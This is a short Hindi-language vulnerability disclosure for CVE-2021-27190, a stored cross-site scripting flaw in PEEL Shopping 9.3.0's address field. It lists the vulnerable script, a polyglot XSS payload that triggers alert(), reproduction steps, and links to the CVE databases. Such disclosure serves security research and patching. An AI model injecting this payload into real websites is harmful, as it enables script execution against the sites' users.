CVE-2021-27190 - PEEL Shopping, ईकॉमर्स शॉपिंग कार्ट - 'पता' में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग भेद्यता

दिनांक

2021-02-11

एक्सप्लॉइट लेखक

Anmol K Sachan

विक्रेता होमपेज

https://www.peel.fr/

सॉफ्टवेयर लिंक

https://www.peel.fr/nos-offres-1/peel-shopping-31.html
https://sourceforge.net/projects/peel-shopping/

असुरक्षित सॉफ्टवेयर लिंक

https://drive.google.com/file/d/1dIwRdaqtEyqUUgxbRqrHiS5WQ10nEG8z/view?usp=sharing

सॉफ्टवेयर: :

PEEL SHOPPING 9.3.0

भेद्यता प्रकार

संग्रहीत क्रॉस-साइट स्क्रिप्टिंग

भेद्यता

Stored XSS

विंडोज 10 XAMPP पर परीक्षण किया गया

CVE असाइन किया गया

CVE-2021-27190
यह एप्लिकेशन Stored XSS भेद्यता के प्रति संवेदनशील है।

असुरक्षित स्क्रिप्ट

http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php

https://github.com/anmolksachan/CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS/edit/main/README.MD## असुरक्षित पैरामीटर 'पता'

प्रयुक्त पेलोड

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

POC

https://drive.google.com/file/d/1t1hksDsYqYsqryRq61tNIQQMTCFidtc1/view
जिस पृष्ठ पर हमने पेलोड इंजेक्ट किया था, उसी पृष्ठ पर पता संपादित करने के लिए टेक्स्ट बॉक्स पर क्लिक करें।
आप देखेंगे कि आपका जावास्क्रिप्ट कोड (XSS) निष्पादित हो गया है।

संदर्भ

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27190
   
2. https://packetstormsecurity.com/files/161367/PEEL-Shopping-9.3.0-Cross-Site-Scripting.html
   
3. https://www.exploit-db.com/exploits/49553
   
4. https://www.secuneus.com/cve-2021-27190-peel-shopping-ecommerce-shopping-cart-stored-cross-site-scripting-vulnerability-in-address/
   
5. https://cxsecurity.com/issue/WLB-2021020054
   
6. https://nvd.nist.gov/vuln/detail/CVE-2021-27190